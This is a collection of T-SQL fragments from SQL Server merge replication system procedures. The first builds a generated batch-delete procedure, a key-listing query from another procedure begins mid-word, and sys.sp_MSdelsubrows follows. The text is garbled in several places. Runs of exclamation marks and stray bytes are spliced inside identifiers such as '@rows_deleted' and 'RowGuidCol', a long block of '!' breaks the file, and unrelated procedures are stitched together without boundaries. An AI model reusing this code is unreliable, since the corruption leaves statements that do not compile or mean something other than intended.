declare @id int
declare @maintainsmetadata bit
declare @escaped_qualified_name     nvarchar(540)
declare @partition_options tinyint
declare @atpublisher bit
declare @publication_number smallint
declare @rownumber int
declare @rownumberstr nvarchar(10)
declare @qualified_sync_view nvarchar(540)
declare @rgcolname nvarchar(270)



set nocount on

/*
** Check for dbo permission
*/
exec @retcode=sys.sp_MSreplcheck_subscribe
if @retcode<>0 or @@ERROR<>0 return (1)

if @ownername is NULL or @ownername=''
    select @qualified_name = QUOTENAME(@tablename)
else    
    select @qualified_name = QUOTENAME(@ownername) + '.' + QUOTENAME(@tablename)
select @escaped_qualified_name = sys.fn_replreplacesinglequote(@qualified_name)

select @id = object_id(@qualified_name)
select @rgcol = quotename(name) from sys.columns where object_id = @id and is_rowguidcol = 1

select @sync_objid=sync_objid, @tablenick = nickname, @partition_options = partition_options
from dbo.sysmergepartitioninfoview where artid=@artid and pubid=@pubid
if @tablenick is NULL 
    return (1)
    
if @partition_options = 2
begin
    -- if this is a republisher of this article, and we are currently
    -- downloading from the top-level publisher, then pretend that this is 
    -- not a well-partitioned article. This is done such that the partition evaluation
    -- and setrowmetadata is done appropriately.
    if sys.fn_MSmerge_islocalpubid(@pubid) = 0 
        and exists (select * from dbo.sysmergearticles 
                    where nickname = @tablenick
                    and sys.fn_MSmerge_islocalpubid(pubid) = 1)
        select @partition_options = 0
end

if @generate_subscriber_proc = 1
begin
    select @atpublisher = 0
    select @qualified_name = quotename(@destination_owner) + '.' + quotename(@tablename)
    select @escaped_qualified_name = sys.fn_replreplacesinglequote(@qualified_name)
    if exists (select 1 from dbo.sysmergearticles where artid=@artid and pubid=@pubid and upload_options in (1,2))
        select @maintainsmetadata = 0
    else
        select @maintainsmetadata = 1
end
else
begin
    set @maintainsmetadata= sys.fn_MSarticle_allows_DML_at_this_replica(@artid, default)
    select @atpublisher = sys.fn_MSmerge_islocalpubid(@pubid)
end
    
select top 1 @publication_number = publication_number 
from dbo.sysmergepublications 
where pubid = @pubid

select @batching_factor = 100


set @cmdpiece= 'SET ANSI_NULLS ON SET QUOTED_IDENTIFIER ON'
exec (@cmdpiece)
if @@error<>0 return(1)

-- create temp table to select the command text out of
declare @tempcmd table (phase int NOT NULL, step int identity NOT NULL, cmdtext nvarchar(4000) collate database_default null)

select @cmdpiece = '
create procedure dbo.'  + QUOTENAME(@procname) + '
(
    @rowstobedeleted int, 
    @partition_id int = NULL ' 
insert into @tempcmd (phase, cmdtext) values (1, @cmdpiece)

-- end create procedure
select @cmdpiece = '
)
as
begin
'
insert into @tempcmd (phase, cmdtext) values (20, @cmdpiece)

select @cmdpiece = '
    -- this proc returns 0 to indicate error and 1 to indicate success
    declare @retcode    int
    set nocount on
    declare @rows_deleted int
    declare @rows_remaining int
    declare @error int
    declare @tomb_rows_updated int
    declare @publication_number smallint
    declare @rows_in_syncview int
        
    if ({ fn ISPALUSER(''' + convert(nvarchar(36),@pubid) + ''') } <> 1)
    begin       
        RAISERROR (14126, 11, -1)
        return 0
    end
    
    select @publication_number = ' + convert(nvarchar(10), @publication_number) + '

    if @rowstobedeleted is NULL or @rowstobedeleted <= 0
        return 0

    begin tran
    save tran batchdeleteproc
'
insert into @tempcmd (phase, cmdtext) values (30, @cmdpiece)


/*
** Do not allow out of partition deletes at the publisher.
** Check to see if the rows being deleted are in the partition
** before deleting them.
*/
if exists (select * from dbo.sysmergearticles where pubid = @pubid and nickname = @tablenick
                        and len(subset_filterclause) > 0)
                or exists (select * from dbo.sysmergesubsetfilters where pubid = @pubid and 
                        (art_nickname = @tablenick or join_nickname = @tablenick))
begin
        exec @retcode = sys.sp_MSget_qualified_name @sync_objid, @qualified_sync_view output
        if @sync_objid is not NULL and @qualified_sync_view is NULL
                return 1
end
else
begin
        select @qualified_sync_view = NULL
end

select @rgcolname = QUOTENAME(name) from sys.columns where object_id = @id and is_rowguidcol = 1
if @rgcolname is null
    set @rgcolname = 'rowguid'

if @atpublisher = 1 AND @partition_options>0 and @qualified_sync_view is not NULL
begin
    -- for partition_options > 0 we will not allow out of partition inserts
    select @cmdpiece = '
     select @rows_in_syncview = count (*) from ' + @qualified_sync_view + ' syncview with (READPAST)
     where syncview.' + @rgcolname + ' in 
     ('
        insert into @tempcmd (phase, cmdtext) values (35, @cmdpiece)
        -- phase 35 will be rowguids
        insert into @tempcmd (phase, cmdtext) select phase, cmdtext from sys.fn_MSgetrowguids(35, @batching_factor) order by step
        select @cmdpiece = '
     )    
     
     if @rows_in_syncview <> @rowstobedeleted
     begin
        raiserror(20734, 16, -1, ''' + sys.fn_replreplacesinglequote(@tablename) + ''', ' + convert(char(3), @partition_options) + ')
        goto Failure
     end'
    insert into @tempcmd (phase, cmdtext) values (35, @cmdpiece)
end


select @cmdpiece = '
    delete ' + @qualified_name + ' with (rowlock)
    from 
    ('
insert into @tempcmd (phase, cmdtext) values (40, @cmdpiece)
-- phase 50 will be a virtual table with rowguids and metadatainfo for an updatable subscriber
if 0 = @maintainsmetadata
begin
    -- phase 50 will be only rowguids when there is no metadata
    insert into @tempcmd (phase, cmdtext) select phase, cmdtext from sys.fn_MSgetrowguidvirtualtable(50, @batching_factor) order by step
end
select @cmdpiece = ') as rows
    inner join ' + @qualified_name + ' t with (rowlock) on rows.rowguid = t.' + @rgcol + ' and rows.rowguid is not NULL'
insert into @tempcmd (phase, cmdtext) values (60, @cmdpiece)
if 1 = @maintainsmetadata
begin
    select @cmdpiece = '
    left outer join dbo.MSmerge_contents cont with (rowlock) 
    on rows.rowguid = cont.rowguid and cont.tablenick = ' + cast(@tablenick as nvarchar(20)) + ' 
    and rows.rowguid is not NULL
    where ((rows.metadata_type = 3 and cont.rowguid is NULL) or
           ((rows.metadata_type = 5 or  rows.metadata_type = 6) and (cont.rowguid is NULL or cont.lineage = rows.lineage_old)) or
           (cont.rowguid is not NULL and cont.lineage = rows.lineage_old))
           and rows.rowguid is not NULL '
    insert into @tempcmd (phase, cmdtext) values (60, @cmdpiece)
end

select @cmdpiece = '
    select @rows_deleted = @@rowcount, @error = @@error
    if @error<>0
        goto Failure
    if @rows_deleted > @rowstobedeleted
    begin
        -- this is just not possible
        raiserror(20684, 16, -1, ''' + @escaped_qualified_name + ''')
        goto Failure
    end
    if @rows_dele!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(iBo7vV/ted <> @rowstobedeleted
    begin'
insert into @tempcmd (phase, cmdtext) values (70, @cmdpiece)

if  1 = @maintainsmetadata
begin
    select @cmdpiece = '
        -- we will now check if any of the rows we wanted to delete were not deleted. If the rows were not deleted
        -- by the previous delete because it was already deleted, we will still assume that this is a success
        select @rows_remaining = count(*) from 
        ( '
    insert into @tempcmd (phase, cmdtext) values (80, @cmdpiece)
    -- phase 90 will be the virtual table with the list of rowguids only
    insert into @tempcmd (phase, cmdtext) select phase, cmdtext from sys.fn_MSgetrowguidvirtualtable(90, @batching_factor) order by step
    select @cmdpiece = '
        ) as rows
        inner join ' + @qualified_name + ' t with (rowlock) 
        on t.' + @rgcol + ' = rows.rowguid
        and rows.rowguid is not NULL
        
        if @@error <> 0
            goto Failure
        
        if @rows_remaining <> 0
        begin
            -- failed deleting one or more rows. Could be because of metadata mismatch
            --raiserror(20682, 10, -1, @rows_remaining, ''' + @qualified_name + ''')
            goto Failure
        end        
    end'
    insert into @tempcmd (phase, cmdtext) values (100, @cmdpiece)
end
else
begin
    select @cmdpiece = '
        -- we should never get into this situation since this is a downloadonly article
        raiserror(20683, 16, -1)
        goto Failure
    end'
    insert into @tempcmd (phase, cmdtext) values (100, @cmdpiece)
end

if  1 = @maintainsmetadata
begin
    select @cmdpiece = '
    -- if we get here it means that all the rows that we intend to delete were either deleted by us
    -- or they were already deleted by someone else and do not exist in the user table
    -- we insert a tombstone entry for the rows we have deleted and delete the contents rows if exists

    -- if the rows were previously deleted we still want to update the metadatatype, generation and lineage
    -- in MSmerge_tombstone. We could find rows in the following update also if the trigger got called by
    -- the user table delete and it inserted the rows into tombstone (it would have inserted with type 1)
    update dbo.MSmerge_tombstone with (rowlock)
        set type = case when (rows.metadata_type=5 or rows.metadata_type=6) then rows.metadata_type else 1 end,
            generation = rows.generation,
            lineage = rows.lineage_new
    from 
    ('
    insert into @tempcmd (phase, cmdtext) values (110, @cmdpiece)
    -- phase 120 will be the list of rowguids and metadata
    select @cmdpiece = '
    ) as rows
    inner join dbo.MSmerge_tombstone tomb with (rowlock) 
    on tomb.rowguid = rows.rowguid and tomb.tablenick = ' + cast(@tablenick as nvarchar(20)) + '
    and rows.rowguid is not null
    and rows.lineage_new is not NULL
    option (force order, loop join)
    select @tomb_rows_updated = @@rowcount, @error = @@error
    if @error<>0
        goto Failure'
    insert into @tempcmd (phase, cmdtext) values (130, @cmdpiece)
            
    select @cmdpiece = '
        -- the trigger would have inserted a row in past partition mapping for the currently deleted
        -- row. We need to update that row with the current generation if it exists
        update dbo.MSmerge_past_partition_mappings with (rowlock)
        set generation = rows.generation
    from
    ('
    insert into @tempcmd (phase, cmdtext) values (140, @cmdpiece)
                -- phase 150 will be the list of rowguids and metadata
        select @cmdpiece = '
        ) as rows
        inner join dbo.MSmerge_past_partition_mappings ppm with (rowlock) 
        on ppm.rowguid = rows.rowguid and ppm.tablenick = ' + cast(@tablenick as nvarchar(20)) + ' 
        and ppm.generation = 0
        and rows.rowguid is not NULL
        and rows.lineage_new is not null
        option (force order, loop join)
        if @error<>0
                goto Failure'
        insert into @tempcmd (phase, cmdtext) values (160, @cmdpiece)    

    select @cmdpiece = '
    if @tomb_rows_updated <> @rowstobedeleted
    begin
        -- now insert rows that are not in tombstone
        insert into dbo.MSmerge_tombstone with (rowlock)
            (rowguid, tablenick, type, generation, lineage)
        select rows.rowguid, ' + cast(@tablenick as nvarchar(20)) + ', 
               case when (rows.metadata_type=5 or rows.metadata_type=6) then rows.metadata_type else 1 end, 
               rows.generation, rows.lineage_new
        from 
        ('
    insert into @tempcmd (phase, cmdtext) values (170, @cmdpiece)
    -- phase 180 will be the list of rowguids and metadata
    select @cmdpiece = '
        ) as rows
        left outer join dbo.MSmerge_tombstone tomb with (rowlock) 
        on tomb.rowguid = rows.rowguid 
        and tomb.tablenick = ' + cast(@tablenick as nvarchar(20)) + '
        and rows.rowguid is not NULL and rows.lineage_new is not null
        where tomb.rowguid is NULL 
        and rows.rowguid is not NULL and rows.lineage_new is not null
        
        if @@error<>0
            goto Failure'
    insert into @tempcmd (phase, cmdtext) values (190, @cmdpiece)
    
    if @partition_options > 1 and @atpublisher = 1
        and (exists (select * from dbo.sysmergearticles where len(subset_filterclause) > 0)
                        or exists (select * from dbo.sysmergesubsetfilters))

    begin
        select @cmdpiece = '
        if @partition_id is not null
        begin
            -- now insert rows that are not in tombstone
            insert into dbo.MSmerge_past_partition_mappings with (rowlock)
                (rowguid, tablenick, generation, publication_number, partition_id, reason)
            select rows.rowguid, ' + cast(@tablenick as nvarchar(20)) + ', 
                   rows.generation, @publication_number, @partition_id, 1
            from 
            ('
        insert into @tempcmd (phase, cmdtext) values (200, @cmdpiece)
        -- phase 210 will be the list of rowguids and metadata
        select @cmdpiece = '
            ) as rows
            where rows.rowguid is not NULL and rows.lineage_new is not null
            if @@error<>0
                goto Failure
        end '
        insert into @tempcmd (phase, cmdtext) values (220, @cmdpiece)
    end
    
    if @partition_options = 2 or @partition_options = 3
    begin
        select @cmdpiece = '
        -- now delete the current mapping rows
        delete dbo.MSmerge_current_partition_mappings with (rowlock)
        from 
        ('
        insert into @tempcmd (phase, cmdtext) values (230, @cmdpiece)
        -- phase 240 will be the list of rowguids only
        insert into @tempcmd (phase, cmdtext) select phase, cmdtext from sys.fn_MSgetrowguidvirtualtable(240, @batching_factor) order by step
        select @cmdpiece = '
        ) as rows,
        dbo.MSmerge_current_partition_mappings cont with (rowlock)
        where cont.rowguid = rows.rowguid and cont.tablenick = ' + cast(@tablenick as nvarchar(20)) + '
        and rows.rowguid is not NULL
        option (force order, loop join)
        if @@error<>0 
            goto Failure '
        insert into @tempcmd (phase, cmdtext) values (250, @cmdpiece)
    end
    
    select @cmdpiece = '
        -- now delete the contents rows
        delete dbo.MSmerge_contents with (rowlock)
        from 
        ('
    insert into @tempcmd (phase, cmdtext) values (260, @cmdpiece)
    -- phase 270 will be a list of rowguids only
    insert into @tempcmd (phase, cmdtext) select phase, cmdtext from sys.fn_MSgetrowguidvirtualtable(270, @batching_factor) order by step
    select @cmdpiece = '
        ) as rows, dbo.MSmerge_contents cont with (rowlock)
        where cont.rowguid = rows.rowguid and cont.tablenick = ' + cast(@tablenick as nvarchar(20)) + '
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<7j0hÆ2
V/            and rows.rowguid is not NULL
        option (force order, loop join)
        if @@error<>0 
            goto Failure
    end'
    insert into @tempcmd (phase, cmdtext) values (280, @cmdpiece)
end

select @cmdpiece = '
    exec @retcode = sys.sp_MSdeletemetadataactionrequest ''' + convert(nvarchar(36),@pubid) + ''', ' + cast(@tablenick as nvarchar(20))
set @rownumber = 1
while @rownumber <= @batching_factor
begin
    select @cmdpiece = @cmdpiece + ', 
        @rowguid' + convert(nvarchar(3), @rownumber)
    select @rownumber = @rownumber + 1
end
select @cmdpiece = @cmdpiece + '
    if @retcode<>0 or @@error<>0
        goto Failure
'
insert into @tempcmd (phase, cmdtext) values (500, @cmdpiece)

select @cmdpiece = '
    commit tran
    return 1

Failure:
    rollback tran batchdeleteproc
    commit tran
    return 0
end'
insert into @tempcmd (phase, cmdtext) values (1000, @cmdpiece)


select @rownumber = 1
select @cmdpiece = ''
select @cmdpiece2 = ''
while (@rownumber <= @batching_factor)
begin
    select @rownumberstr = convert(nvarchar(10), @rownumber)

    -- add the formal parameter declaration
    if 1 = @maintainsmetadata
    begin
        select @cmdpiece = @cmdpiece + ',
    @rowguid' + @rownumberstr + ' uniqueidentifier = NULL,
    @metadata_type' + @rownumberstr + ' tinyint = NULL,
    @generation' + @rownumberstr + ' bigint = NULL,
    @lineage_old' + @rownumberstr + ' varbinary(311) = NULL,
    @lineage_new' + @rownumberstr + ' varbinary(311) = NULL'
    end
    else
    begin
        select @cmdpiece = @cmdpiece + ',
    @rowguid' + @rownumberstr + ' uniqueidentifier = NULL'
    end
    if (@rownumber % 10) = 0
    begin
        insert into @tempcmd (phase, cmdtext) values (10, @cmdpiece)
        select @cmdpiece = ''
    end

    if 1 = @maintainsmetadata
    begin
        -- virtual table containing metadata and rowguid
        if @rownumber = 1
            select @cmdpiece2 = @cmdpiece2 + ''
        else 
            select @cmdpiece2 = @cmdpiece2 + ' union all '
        select @cmdpiece2 = @cmdpiece2 + '
    select @rowguid' + @rownumberstr + ' as rowguid, @metadata_type' + @rownumberstr + ' as metadata_type,' +
         ' @lineage_old' + @rownumberstr + ' as lineage_old, @lineage_new' + @rownumberstr + ' as lineage_new,' + 
         ' @generation' + @rownumberstr + ' as generation '

        if (@rownumber % 10) = 0
        begin
            insert into @tempcmd (phase, cmdtext) values (50, @cmdpiece2)
            insert into @tempcmd (phase, cmdtext) values (120, @cmdpiece2)                       
            insert into @tempcmd (phase, cmdtext) values (150, @cmdpiece2)
            
            insert into @tempcmd (phase, cmdtext) values (180, @cmdpiece2)
            
            if @partition_options > 1 and @atpublisher = 1 and
                                   (exists (select * from dbo.sysmergearticles where len(subset_filterclause) > 0)
                                        or exists (select * from dbo.sysmergesubsetfilters))
                insert into @tempcmd (phase, cmdtext) values (210, @cmdpiece2)

            select @cmdpiece2 = ''
        end
    end
    select @rownumber = @rownumber+1
end

select cmdtext from @tempcmd order by phase, step
--drop table @tempcmd
nname(r.fkeyid, r.fkey6)),
			cKeyCol7 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey7)),
			cKeyCol8 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey8)),
			cKeyCol9 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey9)),
			cKeyCol10 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey10)),
			cKeyCol11 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey11)),
			cKeyCol12 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey12)),
			cKeyCol13 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey13)),
			cKeyCol14 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey14)),
			cKeyCol15 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey15)),
			cKeyCol16 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey16)),
			cRefCol1 = convert(nvarchar(132), col_name(r.rkeyid, r.rkey1)),
			cRefCol2 = convert(nvarchar(132), col_name(r.rkeyid, r.rkey2)),	
			cRefCol3 = convert(nvarchar(132), col_name(r.rkeyid, r.rkey3)),
			cRefCol4 = convert(nvarchar(132), col_name(r.rkeyid, r.rkey4)),
			cRefCol5 = convert(nvarchar(132), col_name(r.rkeyid, r.rkey5)),
			cRefCol6 = convert(nvarchar(132), col_name(r.rkeyid, r.rkey6)),
			cRefCol7 = convert(nvarchar(132), col_name(r.rkeyid, r.rkey7)),
			cRefCol8 = convert(nvarchar(132), col_name(r.rkeyid, r.rkey8)),
			cRefCol9 = convert(nvarchar(132), col_name(r.rkeyid, r.rkey9)),
			cRefCol10 = convert(nvarchar(132), col_name(r.rkeyid, r.rkey10)),
			cRefCol11 = convert(nvarchar(132), col_name(r.rkeyid, r.rkey11)),
			cRefCol12 = convert(nvarchar(132), col_name(r.rkeyid, r.rkey12)),
			cRefCol13 = convert(nvarchar(132), col_name(r.rkeyid, r.rkey13)),
			cRefCol14 = convert(nvarchar(132), col_name(r.rkeyid, r.rkey14)),
			cRefCol15 = convert(nvarchar(132), col_name(r.rkeyid, r.rkey15)),
			cRefCol16 = convert(nvarchar(132), col_name(r.rkeyid, r.rkey16)),
			cIndexID,
			cGroupName,
         cDisabled,
	      cPrimaryFG,
         cDeleteCascade,
         cUpdateCascade,
         0
		from #spkeys c, dbo.sysreferences r where c.cType = 3 and r.constid = c.cConstID
			and (@colname is null or
				col_name(r.fkeyid, r.fkey1) = @colname or
				col_name(r.fkeyid, r.fkey2) = @colname or
				col_name(r.fkeyid, r.fkey3) = @colname or
				col_name(r.fkeyid, r.fkey4) = @colname or
				col_name(r.fkeyid, r.fkey5) = @colname or
				col_name(r.fkeyid, r.fkey6) = @colname or
				col_name(r.fkeyid, r.fkey7) = @colname or
				col_name(r.fkeyid, r.fkey8) = @colname or
				col_name(r.fkeyid, r.fkey9) = @colname or
				col_name(r.fkeyid, r.fkey10) = @colname or
				col_name(r.fkeyid, r.fkey11) = @colname or
				col_name(r.fkeyid, r.fkey12) = @colname or
				col_name(r.fkeyid, r.fkey13) = @colname or
				col_name(r.fkeyid, r.fkey14) = @colname or
				col_name(r.fkeyid, r.fkey15) = @colname or
				col_name(r.fkeyid, r.fkey16) = @colname
			)
		order by cType, cName

	if (@flags & 1 <> 0)
		exec sys.sp_MStablerefs @tablename, N'actualkeycols', N'foreign'

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
`<(kdAv.
create procedure sys.sp_MSdelsubrows 
        (@rowguid       uniqueidentifier,
        @tablenick  int,
        @metadata_type tinyint, -- 0 - Missing, 1 - Tombstone, 2 - Contents, 3 - ContentsDeferred, 6 - system delete
        @lineage_old varbinary(311),
        @generation bigint,
        @lineage_new varbinary(311),
        @pubid uniqueidentifier = NULL,
        @rowsdeleted INT = NULL OUTPUT,
        @compatlevel int = 10,  -- backward compatibility level, default=Sphinx
        @allarticlesareupdateable bit = 1)
as
    declare @match          int
    declare @errcode        int
    declare @new_metatype   tinyint
    declare @retcode        smallint
    declare @procname       sysname
    declare @tnstr          nvarchar(11)
    declare @error int, @rowcount int
    declare @parentarticleisupdateable bit
    declare @METADATA_TYPE_Tombstone tinyint
    declare @METADATA_TYPE_PartialDelete tinyint
    declare @METADATA_TYPE_SystemDelete tinyint
    declare @logical_record_parent_nickname int
    declare @partition_options tinyint

    set @METADATA_TYPE_Tombstone= 1
    set @METADATA_TYPE_PartialDelete= 5
    set @METADATA_TYPE_SystemDelete= 6

    /* By default this sp should delete exactly one row */
    set @rowsdeleted = 1
    
    /*
    ** Check to see if current publication has permission
    */
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @pubid = @pubid, @tablenick = @tablenick
    if (@retcode <> 0) or (@@error <> 0)
        return 4
        
    /* Parameter validation */
    if (@rowguid is null)
    begin
        RAISERROR(14043, 16, -1, '@rowguid', 'sp_MSdelsubrows')
        return (0)
    end
    if (@tablenick is null)
    begin
        RAISERROR(14043, 16, -1, '@tablenick', 'sp_MSdelsubrows')
        return (0)
    end

    if 1 = @allarticlesareupdateable
        set @parentarticleisupdateable= 1
    else
        set @parentarticleisupdateable= sys.fn_MSarticle_allows_DML_at_this_replica(default, @tablenick)

    if 1 = @parentarticleisupdateable
    begin
        if @compatlevel < 90
        begin
            set @lineage_new= {fn LINEAGE_80_TO_90(@lineage_new)}
            if @lineage_old is not null
                set @lineage_old= {fn LINEAGE_80_TO_90(@lineage_old)}
        end

        -- Are we just changing the type of a tombstone?
        if (@metadata_type = @METADATA_TYPE_PartialDelete or 
            @metadata_type = @METADATA_TYPE_Tombstone)
        begin
            if exists (select * from dbo.MSmerge_tombstone where rowguid = @rowguid and tablenick = @tablenick)
            begin
                
                update dbo.MSmerge_tombstone 
                    set type = @metadata_type, generation = @generation, lineage = @lineage_new 
                    where rowguid = @rowguid and tablenick = @tablenick
            return 1
            end
        end
        
        -- Are we just changing the type of a tombstone?
        else if (@metadata_type = @METADATA_TYPE_SystemDelete)
        begin
            if exists (select * from dbo.MSmerge_tombstone where rowguid = @rowguid and tablenick = @tablenick)
            begin
                update dbo.MSmerge_tombstone set type = @metadata_type
                    where rowguid = @rowguid and tablenick = @tablenick
                return 1
            end
        end

    end

    -- begin transaction and lock row that we plan to delete
    begin transaction
    save tran sp_MSdelsubrows

    select @procname = 'dbo.' + select_proc, @logical_record_parent_nickname = logical_record_parent_nickname,
                @partition_options = partition_options
    from dbo.sysmergepartitioninfoview
    where nickname = @tablenick 
    and pubid = @pubid
    
    if @partition_options = 2
    begin
        -- if this is a republisher of this article, and we are currently
        -- downloading from the top-level publisher, then pretend that this is 
        -- not a well-partitioned article. This is done such that the partition evaluation
        -- and setrowmetadata is done appropriately.
        if sys.fn_MSmerge_islocalpubid(@pubid) = 0 
                and exists (select * from dbo.sysmergearticles 
                                        where nickname = @tablenick
                                        and sys.fn_MSmerge_islocalpubid(pubid) = 1)
                select @partition_options = 0                                           
    end
    
    exec @retcode = @procname @maxschemaguidforarticle = NULL, @type =8, @rowguid=@rowguid
    IF @@ERROR<>0 or @retcode<>0
    begin
        set @errcode= 0
        goto Failure
    end
        
    if 1 = @parentarticleisupdateable
    begin
        if @metadata_type = @METADATA_TYPE_PartialDelete
        begin
            set @new_metatype = @METADATA_TYPE_PartialDelete
        end
        else if @metadata_type = 6
        begin
            set @new_metatype = @METADATA_TYPE_SystemDelete
        end
        else
        begin
            set @new_metatype = @METADATA_TYPE_Tombstone
        end
        
            -- call sp_MScheckmetadatamatch with @compatlevel=90, because sp_MSdelsubrows already
            -- did the map-up if needed
            if @logical_record_parent_nickname = @tablenick
                            select @match = 1
                    else
                    begin
                            exec @retcode=sys.sp_MScheckmetadatamatch 
                        @metatype=@metadata_type, @rowguid=@rowguid, @tablenick=@tablenick, 
                                    @lineage=@lineage_old, @match=@match output, @compatlevel=90, @lineage_new=@lineage_new, 
                                    @new_type_contents=0
                            IF @@ERROR<>0 or @retcode<>0
                            begin
                        set @errcode= 0
                                    goto Failure
                            end
                    end

    end
    else
    begin
            set @match= 1
    end

    if (@match = 1)
    begin
        
        /* If there are any joinfilters with this as the join table, try to expand to deleting
        ** a set of related rows.
        */
        if (exists (select * from dbo.sysmergesubsetfilters where pubid = @pubid and join_nickname = @tablenick and (filter_type & 1) = 1))
        begin
            declare @tn int
            declare @qualified_table_name nvarchar(517)
            declare @unqualified_table_name nvarchar(270)
            
            select @rowsdeleted = 0

            /* create temp and put in our tablenick, rowguid */
            create table #notbelong (tablenick int NOT NULL, rowguid uniqueidentifier NOT NULL, flag int NOT NULL)
            create clustered index #indnbelong on #notbelong (tablenick, rowguid)
            insert into #notbelong (tablenick, rowguid, flag) values
                    (@tablenick, @rowguid, 0)
            
            /* call expand proc */
            exec @retcode = sys.sp_MSexpandsubsnb @pubid
            IF @@ERROR<>0 or @retcode<>0
            begin
                set @errcode= 0
                goto Failure
            end
        
            select @tn = max(tablenick) from #notbelong where flag > -1
            while @tn is not null
            begin
                select @tnstr = convert(nvarchar(11), @tn)

                exec @retcode = sys.sp_MStablenamefromnick @tn, @qualified_table_name out, @pubid, @unqualified_table_name out
                -- delete all rows indicated by the temp table
                IF @@ERROR<>0 or @retcode<>0
                begin
                    set @errcode= 0
                    goto Failure
                end
                exec ('delete ' + @qualified_table_name + ' from #notbelong nb, ' + @qualified_table_name + ' t 
                       where nb.tablenick = ' + @tnstr + ' and t.RowG!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(lM6⯄.uidCol = nb.rowguid
                       option (FORCE ORDER, LOOP JOIN)')
                select @error=@@error, @rowcount=@@rowcount
                IF @error<>0
                begin
                    set @errcode= 0
                    goto Failure
                end

                select @rowsdeleted = @rowsdeleted + @rowcount
            
                -- remove metadata action request for the rows we just deleted.
                delete mar with (rowlock) from dbo.MSmerge_metadataaction_request as mar
                    inner join #notbelong as nb
                    on mar.tablenick=nb.tablenick and
                       mar.rowguid=nb.rowguid
                    where mar.tablenick=@tn

                -- move on to next nickname - decreasing makes delete order correct
                update #notbelong set flag = -1 where tablenick = @tn
                select @tn = max(tablenick) from #notbelong where flag > -1
            end

            -- change tombstone type for those rows          
           update dbo.MSmerge_tombstone 
                    set type = @METADATA_TYPE_PartialDelete
            from
              (select distinct tablenick, rowguid from 
                   #notbelong) nb,
              dbo.MSmerge_tombstone ts
                where ts.tablenick = nb.tablenick and
                      ts.rowguid = nb.rowguid
              option (FORCE ORDER, LOOP JOIN)

            if 1 = @parentarticleisupdateable and (@partition_options < 2 or @lineage_new is not null)
            begin
                    -- call sp_MSsetrowmetadata with @compatlevel=90, because sp_MSdelrow
                    -- already did the map-up if it is needed
                    exec @retcode= sys.sp_MSsetrowmetadata 
                            @tablenick, @rowguid, @generation, 
                            @lineage_new, NULL, @new_metatype,
                            NULL, 90
                    IF @@ERROR<>0 or @retcode<>0
                    begin
                        set @errcode= 0
                        goto Failure
                    end
            end

            drop table #notbelong
        end
        else
        begin
            -- select_proc makes a delete with @type = 5, despite its name. 
            exec @retcode = @procname @maxschemaguidforarticle = NULL, @type =5, @rowguid=@rowguid
            select @error= @@error, @rowcount= @@rowcount
            IF @error<>0 or @retcode<>0
            begin
                set @errcode= 0
                goto Failure
            end

            if @rowcount <> 1
                        begin
                                set @errcode= 3
                                goto Failure
                        end
        
            if 1 = @parentarticleisupdateable and (@partition_options < 2 or @lineage_new is not null)
            begin
                -- call sp_MSsetrowmetadata with @compatlevel=90, because sp_MSdelrow
                -- already did the map-up if it is needed
                exec @retcode= sys.sp_MSsetrowmetadata 
                    @tablenick, @rowguid, @generation, 
                    @lineage_new, NULL, @new_metatype, NULL, 90
                IF @@ERROR<>0 or @retcode<>0
                begin
                    set @errcode= 0
                    goto Failure
                end
            end
        end
    end
    else if @match <> -1
    begin
        set @errcode= 2
        goto Failure
    end

    commit tran
    return 1 -- in sp_MSdelsubrows, 1=okay

Failure:
    rollback tran sp_MSdelsubrows
    commit tran
    return(@errcode) -- in sp_MSdelsubrows, 0=error

